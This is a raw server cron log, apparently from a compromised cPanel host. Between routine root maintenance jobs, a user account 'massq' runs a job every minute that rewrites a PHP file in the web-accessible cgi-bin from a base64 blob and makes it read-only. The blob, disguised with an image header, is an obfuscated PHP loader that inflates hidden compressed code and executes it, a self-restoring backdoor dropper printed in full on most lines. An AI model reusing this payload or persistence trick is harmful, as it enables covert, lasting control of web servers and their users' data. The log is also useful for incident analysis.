Nov 13 01:31:01 server CROND[25015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:32:01 server CROND[25868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:33:01 server CROND[26775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:34:01 server CROND[27745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:35:01 server CROND[28619]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 01:35:01 server CROND[28621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:35:01 server CROND[28624]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 01:35:01 server CROND[28622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:35:01 server CROND[28623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:36:01 server CROND[29382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:37:01 server CROND[30314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:38:01 server CROND[31111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:39:01 server CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 01:39:01 server CROND[32262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:40:01 server CROND[634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:40:01 server CROND[636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:40:01 server CROND[635]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:40:01 server CROND[637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 01:41:01 server CROND[1154]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:42:01 server CROND[2013]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 01:42:01 server CROND[2014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:43:01 server CROND[2898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
